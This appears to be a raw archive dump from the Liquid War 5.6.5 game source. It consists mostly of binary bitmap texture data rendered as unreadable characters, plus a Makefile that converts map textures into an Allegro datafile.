1%&)*%)8 87:@GQ altz~q\MA41;M ^mus g^Z_f n p llrts k_\_g o k_WOPUZYSI=50-,,.25;CJWjvzu n pxugf_UJCBEHGIOZ gpvrm msz!"{8dohcSHHE:(o ZIA>81# }tje`\VPIA<850+&"   $$$   5@NENZ!* ///PPP+++ 777999  &&&"""))) ### """ ''' """ """ $$$TTTABUL2 7*/>A=3()189.&&*,' +: ;:;@EO amv|s aSF96?O ]ktr f_a jtyyvw~~zrg``k{zn_OHKSUOF>841-/15=EKLT ervs o qvtje_WLCBGKKKQ]jsvphh jnu{9cueVJGE<)lVHB?91"  ~ulf`\WQI@<84/)%        #/D 7 )4*2;!!!555$$$(((               bbbABS G'.)4 ION@116;>92*+/)!+ 8 ;;::?K _ l t y{q d YOC@GS_kttl h lu}~!w mfd m"zfOCCLPJC?;73137<GQVRTajo psvt o kc]UKEEHKMMR\fmp ia__a l|9_~`QGEE;)lVID@:1# xoh`\VPI@<94/*%        #6<:5246<FR [[QMV[ f nuws mf`YPHGGHLOPSY ^ a c^YZZ] k:ZYI@<:6&fRGB>6-! wne]WPKFA=;61-&!        %"4K#9              ccc=DP=).A] gdL229@IKE91+(&%#)-+,3A Ueoqlf`_ c `YUT` my{vvqtvx{}}zv n j heb itxycNJIKH@:;8116:B O\c ^MEJN`mvxvma\UKFJKJMSVWWWVVUTX[`m";V{PC<620#v^KC>91) ujaYSKGCA>;62-'"     )))  """!!! %%%###UUU;?Q@*/A\hi O32 <DPS M A2/35.&&(+/9 I[hoohaad e c^ZYaltwusopsvwurso h cff e gnz#|iSIGGEA=<823<<CVgh^ODCKZkxztl d]WPMO R SSVTT XY SKHL [gkr"|6Z{iC;==8/mWHB=81*! {qiaYRJFA<741,($                   OOODDT5 o'.=R\]E+ *5BNNI? 1. 173)$$&+ 7DS[_^ W S SWXWSO MSZ`a`_\]_ab_^`]WUXXWX\!e'gZK ?: = ; : 6 4 2/ 1 7 7 =L[[S F;9 > KZg!je]WQ L H FHKK I J HGLNG=8?T b b_c3rUjpodM3r4t<|?=|+jYH = 8 52*$ }xrlaZSMGA<94.+(%"       ###  """%%% """  """  """"""(((  $$$   """$$$  $$$LLLIII7NX[%Z*Y+X QJNTX#\"[ YTONRWVQO OOSW[&_)`,_+]&Y%Z%]&`'b'a$_!]!\$^'_ *` +_ *^)]*_)^*],] ,]*Y*W*[([%Y$Z'a'b%b%_'[ -\-] &\]\[[WUUWVUW\]] `)a)^%ZXZ^_T(W /[ 0]-\*[&Z#[ []^_!_ ```^] _ "^ZSOP'[ -a -_+\,Y2Y!?^+E],G[+G[&D[9V0R3X7^7`6_ 0\(Z[\\XUSQ P M JDBC@=;73.,)&$                                   TTTuso;<@29F,6L-4P-6O+;L,E5>D5@F4AH.=H-;H.58<999999999:98:98:98:99:99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999:98:98:98:98:98:98:98999999999999999899899999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999::::::999888:::777888:::999:::888999;;;888999888:::999999:::888999:::999::::::888888:::<<<777888999999:::999999:::999::::::888:::999999::::::888999;;;999777999999::::::999999999999888999:::888:::999999:::888999:::999999:::::::::999999:::888999:::888:::999999999::::::999888999999999:::888777999::::::888888999999888999999999999999999999999999999999999999888999:::::::::::::::999999999999999999999999999777::::::999999888999999999999999:::999888999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999:::999999999888999::::::777888<<<999777999888999:::999888:::;;;999888999999888999888::::::999999999888999yyyòliquidwar-5.6.5/data/maptex/Makefile.in0000664000372000037200000000335313407756104017421 0ustar travistravisALLEGRO_DAT = dat DST_EXT = tex TMP_BMP_EXT = bmp SRC_BMP_EXT = orig.bmp TMP_PCX_EXT = pcx SRC_PCX_EXT = orig.pcx TEXTURES_BMP = 2d \ 3d \ 3x3 \ ac \ anaglyph1 \ anaglyph2 \ around \ big \ blemmya \ bored \ card \ charming \ chess \ circle \ circlus \ clean \ confuse \ dirt \ egg \ eyes \ garden \ honey \ honeymoon \ jabberwocky \ labyrint \ logo \ lost \ lw \ metation \ paper \ papercut \ pastel \ place \ psyforcegeometry \ psyforcemultiroom \ psyforcespheralcube \ psyforcesquares \ psyforceultramultiroom \ puckman \ rect \ rectangle \ rough \ skullbig \ skull \ slimy \ smile \ solsystembyn \ sonnesystem \ tiles \ underground \ watch TEXTURES_PCX = lwtab002 \ lwtab003 \ lwtab004 \ lwtab006 \ lwtab008 \ lwtab009 \ lwtabbar \ lwtabdrt \ lwtabmic \ lwtabrec \ lwtabses \ lwtabto2 \ lwtabto4 \ lwtabtom \ lwtabtru DST_FILES = $(addsuffix .$(DST_EXT),$(TEXTURES_BMP)) $(addsuffix .$(DST_EXT),$(TEXTURES_PCX)) TMP_FILES_BMP = $(addsuffix .$(TMP_BMP_EXT),$(TEXTURES_BMP)) TMP_FILES_PCX = $(addsuffix .$(TMP_PCX_EXT),$(TEXTURES_PCX)) all: maptex.dat maptex.dat: $(DST_FILES) $(TMP_FILES_BMP) $(TMP_FILES_PCX) @rm -f $@ @echo Creating $@ @$(ALLEGRO_DAT) -a $@ $(DST_FILES) clean: @rm -f $(DST_FILES) $(TMP_FILES_BMP) $(TMP_FILES_PCX) *.dat distclean: @rm -f Makefile %.$(TMP_BMP_EXT): %.$(SRC_BMP_EXT) @echo Converting $< to $@ @cp $< $@ @../../utils/liquidwarcol -s 32 32 $@ %.$(DST_EXT): %.$(TMP_BMP_EXT) @echo Converting $< to $@ @../../utils/liquidwartex -s 32 32 $< %.$(TMP_PCX_EXT): %.$(SRC_PCX_EXT) @echo Converting $< to $@ @cp $< $@ @../../utils/liquidwarcol -s 32 32 $@ %.$(DST_EXT): %.$(TMP_PCX_EXT) @echo Converting $< to $@ @../../utils/liquidwartex -s 32 32 $< liquidwar-5.6.5/data/maptex/2d.orig.bmp0000664000372000037200000020537413407756104017327 0ustar travistravisBM (  !!A?wz|nO8fIoVva]6wtz}k`FquSz8Q`rhpOZiq`dww}}Cno%%m -"u(   * %m  ( %m  - %m  *  -      #         *   Q#   -   %m    (      <   "u   *   %m  0 ?@  < ?@  5 %m   )M  Q# )M  Q#   <   ?@   #     ?@     <     Q#    *   ?@   <   Q#     )M      Q#     )M     "u      <     ?@     <     ?@     <     Q#      )M     Q#    )M     ?@     -      ?@    <        )M    Q#    )M    "u    )M         -    ?@    <    "u    )M    O"    )M    ?@    *    )    (    %m     )M    Q#    )M    %m     (    "u    *    ?@    (    "u    )M    "u    )M     C    *      ( #      *               <        ?@         <      ( #      (     "u      -       >       (      ( #    <     "u    <    ?@    *     "u    -   %m    )M   %)   <   ( #     (              %       ( #       *         "u       <               <       ?@        *       %m        (       "u      )M            <      %m      *           *      "u    *   %m    <   %m    <        -    "u    (    Q#     (    Q#     )M    %m      5     2V     "     ( #      %       ?@        )M     2V    )M    Q#     *    "u    <    ?@   (   Q#    '    %m    )M   Q#     <   %m    <    ?@   <   Q#    )M   Q#   (   ?@    #   ?@   %    ?@   *   %m    )M   Q#  <  %m    <  ( #   <  Q#  )M    #  %m   * ?@ # "u  3   ( #    )M      Q#     @   "u  )M    8  ?@  #  ( #  *   "u   (   Q#   )M    "u   3 "u<?@-%m )M%m (liquidwar-5.6.5/data/maptex/underground.orig.bmp0000664000372000037200000020554413407756104021355 0ustar travistravisBMd "(  ;;89~:~:}<|=|=z@ zA!yA"wD&vF'uH)tI+sL-oR4lV8jZ<cdG`hM^lQVx]Mm'N\(O])P^*Q_+R`,Sa-Tb.Uc/Vd0We1Xf2Yg3Zh4[i5\j6]k7^l8_m9`n:ao;bpes?ft@guBiwAhvCjxDkyElzFm{Gn|Ho}Ip~::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::($&&+-$%" '+/:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)/!!"1&%($+!/ '# )#-":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::**)"+3$'.&/ !#/%.)% !*(** ",::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::4.* ,$",2"-04+&22&'%/."" "+'.-:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::!.+)/.+,##&/////!--,0''')&%&"+&-1,:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+"/ ! ##!0-.+%*4 "!!$)!!*!36,*2/")!3$#2:::::::::::::::::::::::::::::::::::::)%%#&"!&!).,+0!!1'+)+%:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::*,'"1# +/'+/33!##))""-$/"/'$30%.*'*0%+::::::::::::::::::::::::::::::::::::/++#./%#'")).#*' $$-,)%&::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::#,#&/*+0%*"+ &&0"* -4*&++&&%)'%$ $'/'/"!/2'::::::::::::::::::::::::::::::$))%&"#!& 020"//-+&!+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)-+#.**, '-"*$/!/* &&$&".&&0)3)#0" -&&)&//"'+0!%+)::::::::::::::::::::::::::::'+'!.#'!*#!) 0)(&+"!#)$+(::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::$1*'*+/'0 /0-! ! + #/*())'#!$/ +."('#-"".%+&)%#%'%:::::::::::::::::::::::::" //) )". !+!/* +--%"* -0'((-$#).:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::)1&+&!&."&"4/&*10"'!/!%/&-*.!-2,#%''#%!/#%-33.)&)-:::::::::::::::::::::::0$/1).$)$#&+#*$!%%("-/*$*%-&* +(0*":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::/%0%5+#0*!(#-)/*1"%$)('+#*..%#0.21*(("-!!,'+#-*,#!+/.::::::::::::::::::::!.!%(,&)::::::::::&- &0%&.0%##'&-)&(%()"::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::' /%%*+-&#(''.'+**(%0$$-+('(*"+1$*4%1'#,%-%%"*+0."#./:::::::::::::::::::-!'##/-'::::::::::::%-!(1.')*+-"'4()&"'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: &$"$'/)1%(.*"$% ("+'**!%$1)(,)'-%'-%1++."%*+*7.)1-%)&,&:::::::::::::::::*#+ +%#/::::::::::::::::&$%(!.'0+&.,0&"%*0'':::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::$$%!2+.-,1+*-&!.,**)')-/+(+!)+%#".+$/(3!/+/-%)&.-&'/2))::::::::::::::::).! +"%:::::::::::::::::::+-%"#(#,/%++ ,&.10::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::---$%/(20 )'#!-).//++ '&$%$,((#.-)/!!+#&0'#'6"()%%/$!.,::::::::::::::::&%/&/"::::::::::::::::::::::::-.+*#+#%$"&&"+:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::0+1(+#"$)&$1&%&+0$$/*+%-!+$.$($")"'"// !&!%-'*,-# -"& #-$+(::::::::::::::/0'3!&'::::::::::::::::::::::::::.+)!-%+%'()"&(.::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::#(&+#1).!.-%0%#'0+$ !"*&4)#$'+"+"%.,! "$%22'"!&$+)0)$2-2*01::::::::::::.&,+%/:::::::::::::::::::::::::::::/ *'%!-#/."$)::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::%,%!!*"%**".&1)10--&/!!$+)+*"#/, # (')/2*2,&/,$**( &2'$'$%-::::::::::::)"&.*:::::::::::::::::::::::::::::::0/"-$&*3""/::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::+)'!,$%# ( 1%/3,.'.#!"'&-""%"'-+'+-6,.&2(4.&3.)-'/*.&*#%0:::::::::::0+$/)-:::::::::::::::::::::::::::::::::,'+! /)+)'$'::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::!/" '&+) .61&1.&1*4)/&&)3%##.0#---2)'%,/#"-%-!/,%/0(0/""/,,$:::::::::::$#$0# :::::::::::::::::::::::::::::::::)/.$0&-#8&&::::::::::::::::::%/0/ 1,)+'$! .:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&"/* */%"/)+-(*(&%"'-)3*$$%.-$&1", "1'")0!%$ $)++$ /&++))*/)'/::::::::::&#&*)!$::::::::::::::::::::::::::::::::::(+&)+&*)!::::::::::::::::&'+ *")!%.%#4$*&4"*'$#!:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::#'-&"!!.$-)#,)&-&5'%/+ $#%(.(!!#(% '&/*!0-2,/,'/"#!$01)-$+&/#$:::::::::: ,22$!'::::::::::::::::::::::::::::::::::.#!(032$#,'):::::::::::::($ /!)+#%$,*), ."".+&(2("'":::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'##$"%+&*))1!$-,$/)(143/1"$&'(-#!0%- ./#%#%,+)1/)' -","-)$000'!#:::::::::(*%$$%:::::::::::::::::::::::::::::::::::::%&!&%/+(.'!1!:::::::::::!!$"#0"$'""%,$$++.&3*-,/.$ (#.-&:::::::::::::::::::::::::::::::::::::::::::::::::(::::::::::::::::::::::::::::::::::::::::::::::::::!$&'0$''$% ***/%'/%+0/1#'$##+-142(##')-'*&+%,)+ &0*'0*'"0'+** &$$:::::::::(0-0$.!::::::::::::::::::::::::::::::::::::::!),4("-&*# +:::::::::(('"0%*///03!.!* #$'0)+.'-&!,!/'):::::::::::::::::::::::::::::::::!-,::::::::::::%1::::::::::::::::::::::::::::::::::::::::::::&#*"1''-,#'*/3&**2 &.!*&*%'* !+'%2"-/!# $,+0)#*!'+'*( $2"%,0+/#''+'::::::::#&!'-+*::::::::::::::::::::::::::::::::::::::::)1$  2#!**&:::::'- -*3/)+*,&'2("%)+%/" 3//"*# ".+$')::::::::::::::::::::::::::::::.)).:::::::::::::3#$"::::::::::::::::::::::::::::::::::::::::!/-$ $0&%"$*/&0.$"&"'*#%$1.'#0-$!*(&/#,(0,&)&#. )'"$0"%(%$ -(#("/*(%'")+/*:::::::0))*$::::::::::::::::::::::::::::::::::::::::::0*/+%*+$#4*::::%-")()101"11+#%-"&%/'.(#*"''& +.$.40.*.%&:::::::::::::::::::::::::::::1#'2:::::::::::::-'$ -::::::::::::::::::::::::::::::::::::%)-%0!100$'*"//)&3*-2"$$*0!+!)+%.)'##--*#+/!'/!.%))'*&44)"" $/!+*#'(**""$.:::::::'#)%&&&:::::::::::::::::::::::::::::::::::::::::::/+!$"*..$ ::/!)3/-'%2#,%,"%& .'!)0'#20).'(+/"'1!)**)3:::::::::::::::::::::::::::::.+!:::::::::::::%#.&./:::::::::::::::::::::::::::::::::*).$$,-)$,+* %,&" ." 2!)#"$)&%0# +.%*(#.%0+("'"#'%"1/'"'##./#'!."('$")!4-::::::56%(%)"::::::::::::::::::::::::::::::::::::::::::::::*$#'$+ -$/:/*+$'-''1 '2"/"-202"'.!"#!1"$,)%."!(%$0""4::::::::::::::::::::::::::::##.::::::::::::$'&+ ::::::::::::::::::::::::::::::01%&$'-,"*).-+'-")))%#)*0*$,/*+-/!&*%+%,)12!,(! $/!+*'%() ,."&$&*$+&/*'!+) )'(1.::::::&/&1*'::::::::::::::::::::::::::::::::::::::::::::::::$#&&%0)%&*1%$2+*&-)!.)-%'+%*",.%$'"%*%+*) !,!$%!!/$)&/%:::::::::::::::::::::::::::43.:::::::::::--()'0-"$!::::::::::::::::::::::::::::++&)'! $+!-,.)&#:::::0'+&+%+%''/&''.%#$%!1%/$+.%$0/0&$))4'0-#"+-'+/!'!,++(/'%"// (::::::-!)""::::::::::::::::::::::::::::::::::::::::::::::::::'$/+1")-!""/ **%$,.-/3*//,%"#'.))*."")!+ /(&+-* +-::::::::::::::::::::::::::::::::::::::::..$$/-)-!/:::::::::::::::::::::::.$*"-$'$'!,/"0*'1:::::::$$%-)2+)(..&,."$"&#%+-$/$"!/*.#(!$%.*%0*+#*%#/%)"(.)&:::::/& 0/)/:::::::::::::::::::::::::::::::::::::::::::::::::::"+/1*%$0$$")%))$0+$*-.-&&.%+-/"!2/'&""%%,$$+' '&$,/$:::::::::::::::: *::::::::::::::::::::.%%.1-)'%&$'"&1::::::::::::::::::::&.!$+'')&020%"(/::::::::::/+0 -*-$",%/1!"&")*+-" ,(,$&$%%&".#,**/%!,!$-'"$.+())/!"/,:::::%'$!21:::::::::::::::::::::::::::::::::::::::::::::::::::::2+.&+)&+' $.%%!"1)2'0&'$-# *2(1%( (*$!!&)0"$$&%+/:::::::::::::::-'-'-:::::::::::::::::'$*/.'+1#.!/*,)):::::::::::::::::0&%&*'++'.$/$&)&:::::::::::"#4!"(0-.'0$/.+./2+-,)-$02-#'*)%/ !)013%!/)-&$/&%%/ ++3.*:::::2-)"''::::::::::::::::::::::::::::::::::::::::::::::::::::::%/-+$/.1&*".!")!*.%+&".#)0!)$!"7).) ***$$# -&!(#$/%:::::::::::::::/-' ,!2!:::::::::-$%'+/&)'/ #,0!*&*!$+ ::::::::::)!'')/$)%'$,-,.( -:::::::::::::(/,/+ +.%2#$&-!,.0! )3*'.&"!0&++)%-+#%!%!++--!.%++"".$*(/#/):::::2!.0*/::::::::::::::::::::::::::::::::::::::::::::::::::::::!#"! $!0)($*$.'&.*-'0$/1+)!$0+*!$'+)!!-'.,!$*% "#%::::::::::::::%"/1&)*$*:::::::::%'!/,$'%!$2/'!"-#('$$!!/#-,).#) "'$)"''$ +++%'::::::::::::::*&+%+%%3(&*&)*$.++)1 '",,1-1)!!)$%*)&+%+30*)!+----&2$%%& ::::*-"&&,:::::::::::::::::::::::::::::::::::::::::::::::::::::211"3/()&$ $"+ !"$$+0**%0/3,*-"--1)!1.)*%%!*/.+',/::::::::::::::&&$/"$1$ :::::::::#"!*')+.*31' -"&$$.$-/0%.(%" /,''+%$.&'3 &+$2$)%(.::::::::::::::::!,!'.0&)+.,"!.%'" #0% )/#&)").-('"+%&(+'%-'-/&..*". .$"('#(!.(*::::./%"!$::::::::::::::::::::::::::::::::::::::::::::::::::::::"-".00(/2* $-*+!&0**)/$&+&- 2"#'-*!#./*/++"$)&4& ')%:::::::::::::: #/'2%#':::::::)2"!$.0.+##-""4/+&$1+.#"+'$&)/$++#%$)$*,&.)&/%04:::::::::::::::::::+ $"&#'/.# !,!#)).$ /!&!!$.)+7()&,!$/&% *-%#''&# *'##$'0::::+/+/%(:::::::::::::::::::::::::::::::::::::::::::::::::::::#/-'+'$ '++)+.00*.&)( -) +%#-&""0"!,#$+%1/ '-!+'&!)''+::::::::::::::,0&1(%' --(%::$+'#.$* -$('"..%,,)$0(%)%+'%&.#'/-%*.+)!"1&' %:::::::::::::::::::::#(&.0!*0$+"/&3)#$##%*(".)4&#+!(.&(*"%'#00- +,%+"-%/**)!&$# $::::- !"&*::::::::::::::::::::::::::::::::::::::::::::::::::::$&*( %&%!"')./#$#!"1-.)*)*&1 1*+%1%'.0,.+1&"-,&1)0-#&:::::::::::::::&.&$./&./(!#!!*/-$#).&&.&."..% *+".-' $&+ *%%$%'11+- ++$.%-:::::::::::::::::::::::*'1#%".-).'%' !,-/%)*$&$003'-"1$*1"")/$$,'10%)2%(%%( "*+3&%::::!*.*$::::::::::::::::::::::::::::::::::::::::::::::::::::+.!'")"$/,,&(3""0+&+/*!'$'//0&*2%!"3'!$!"-&.).($::::::::::::::&%) - %-3,..$.'/+!"** !%/+&&)&-3 )*#)0+*%*+/$%%#$0) ,,&/#'&&::::::::::::::::::::::::::(**-'%2/%*%&(!)**'*()/)'+))")1)(&"!%$-.'%"'.##%-"""!&*!)#++::::'.$ /:::::::::::::::::::::::::::::::::::::::::::::::::::%$+*!%**&.".0#( /%# ,"+4/&+"/-*+,$!"!$-- "-$ $$3--$!/"::::::::::::::$1$+!"",2'%*'&#!'%%$$$"/%-$#+0('*&!/&-#.#!,!/+%$ !""*+!::::::::::::::::::::::::::::,39)'+)+(!#+2+&")/- &*,#&&/%*/%+(+"*)/*#)1!&%./*)31%,)2&!/"::::0#'" :::::::::::::::::::::::::::::::::::::::::::::::::::)*&#)*)&.0*('&/01+/)+(/*#%'&%"+)&(%%$%') /%.)3%*&)'/'!::::::::::::::$103+)--1&/ /%'-'+/#* )- +/3"'($//!%+&-$*0"-+$(%+%-/:::::::::::::::::::::::::::::::::-*/&3-. '#+4//++#!$)0$-'.2$/"#)+'+$,-&%.,)"-)#-#.&&(//#*!0'::::(&,% #:::::::::::::::::::::::::::::::::::::::::::::::::::.$.&.&0+#)/0.(+"-)*/&2*+% %%$0&'&)0)#2+)%0&#-#''"&")!/::::::::::::::1)*%!-$')1$(!$'# *#$+0$!"* &&-*!-122+*!&"*1!:::::::::::::::::::::::::::::::::::::::--)/)"')$$.%-+0&(%&"%/"6'+*-&('+(-)$%*&$"$$2%-"+3&*10%$+"/)/3/:%%*&/%:::::::::::::::::::::::::::::::::::::::::::::::::::/.!-$0+!*"#"$0-.#/0-)'/%')#$).$-1&!#"!'.0,#!)/#'0&.$.& !:::::::::::::)&(&(.0,* #'$%+#/&/! -0".+)!('-(-)+%"$*!)'2""$0+:::::::::::::::::::::::::::::::::::::::&/1%'#&+"",-. )!,'#-+0& +'.$!,''.-')"$%!)%2"'//*+,-&!%"'$!/$36-1&::::::::::::::::::::::::::::::::::::::::::::::::::%)&."*.")-"*2*-(!$!'-"') ",%*77*-%(/3-,&0$$#*!+,+%/(&*:::::::::::::00')!$*#)$"'$%*&#// .+#0.")%-) %).!"*+./+##.21"&":::::::::::::::::::::::::::::::::::::::$&#/'2"'*+&!*$-/0'$+'01+)" 0##.+-++.%&* ./ ")$ /12/#/+/""04%* 0'$$. ::::::::::::::::::::::::::::::::::::::::::::::::::#)$!-/%"'&*'&)&&#&#*$.&. ##01)+1)#1$+%/&&!*.(%$'!%"#$.-:::::::::::::)(!%$))+) '& /' 010!%.'%( '2&'$-+,!(*3++%0*40',%:::::::::::::::::::::::::::::::::::::::,'-&,$!+/.)!'#)$2&0'+%)&),$&3 $)+0"$-$01/*!&/$" 1#"++).!.&&($"+/13!#1*:::::::::::::::::::::::::::::::::::::::::::::::::(-$"$$/ #""*'3),&)/-"%$&)0$ -1++.!/#%.5/0,%/)1, )'"*-2:::::::::::::'%!%+.%%#"&0-"0!.$1**(+"'(+%#." )/. /)3)//+.+/$$ ::::::::::::::::::::::::::::::::::::::::+/*$!&) "",! $*+) '&,,%3&(*-&)./.)0//*#$!**0$& / &,0)%*#-&.('$!+'0*&/):::::::::::::::::::::::::::::::::::::::::::::::::0**+-+.!*!+!0/,,!(3.+0-*3-!'''#"#).#%-$.&'"0)&0/,'2),-.:::::::::::::%(0%#/0-)0!+'0&(%#($*.!0'"&!#)&-&*&%0'(%!$2%'*1'*::::::::::::::::::::::::::::::::::::::::++*+'1/#$!('$0$&)(#''*(..$$"#0.1+0/+(/&%!#)%(#/),(*%+%%* 1+'!!#40%-%+::::::::::::::::::::::::::::::::::::::::::::::::/!..-&'-(-')3/+)&'/&$ .'+$0&".)"*.*$0%& +!"!-!/)0!./!0&'':::::::::::::#* %/#%-.!"%(&0)##&$))3#*"3*)*4)$+$!+/$.#/(2":::::::::::::::::::::::::::::::::::::::::$!//+"))+%%% %/!(.+(+#-/$(//&-* *-/$ $+ .*1//$/-#')!/+0"&&)-(%-..) '::::::::::::::::::::::::::::::::::::::::::::::::&'+)"+%!++,-1.'.)%"0*)/!)--,.'-$+#**-&1"+1*-0'/&.+$#1$.*::::::::::::::"!! .%)*(/.*)%+!$/++&'*0/.**(%%.$*!+)2"-+.-"&:::::::::::::::::::::::::::::::::::::::::+./&0*$0""$/ !*$/%.*"3,)!*//(+.$#)". &"$)&++&!(#-!/$3**&)!'!" +&-$($:::::::::::::::::::::::::::::::::::::::::::::::$$)/,#,'- !/.3%&-*&'# '/)*&..-"''4*))4(..$*&)".'--"!/$$"::::::::::::::(-## *&'!*-,-")$!-/+&"%%-".+0%/**"'.''6!!&'/#-+::::::::::::::::::::::::::::::::::::::::::".#!200!#-%"!0-!'*$$ , */')% -$$1'-%*+&!"$$++.2+*-/"*' #'%*) .$:::::::::::::::::::::::::::::::::::::::::::::(".%/0'.',%"%%.#).*/(. %/),*#$%..)#"*-/2&!$)! ** !/13/#%-%*,:::::::::::::::+ /++$'%0+. *"$(,0 !$-"00"/%$)*%/*#.$.**-*&**%#::::::::::::::::::::::::::::::::::::::::::::$*($-%!&#%$/&',+.'%$ .-)0!)*)-1/))$%$"&",")'0!-:- '+*- !'*'$1::::::::::::::::::::::::::::::::::::::::::::$1%$1#!!!/*#/4(#10&,"#)* 1 -1-*0.%*+$2& %#*)..0'20(&20&:::::::::::::::$"% "#&1)/0)"%#"$!!2&.(-%/%)1-/!)/-.*(" .*.%$:::::::::::::::::::::::::::::::::::::::::::::*$$*+$0-'()&$-!/"! %!%&!&"#.'3-,2%*$ " *&,$!!&!-:+-.'/# $*,-&:::::::::::::::::::::::::::::::::::::::::::.%'0&,&!&2$!*/$+)%,*'%*$&*-(---/&-,#-%. /,"&&%)-'&/'0'"0$:::::::::::::::)1'*/,)#!'&#! #&%!$,",#."4,+'-)&!% $'-%!%0)/')::::::::::::::::::::::::::::::::::::::::::::::* 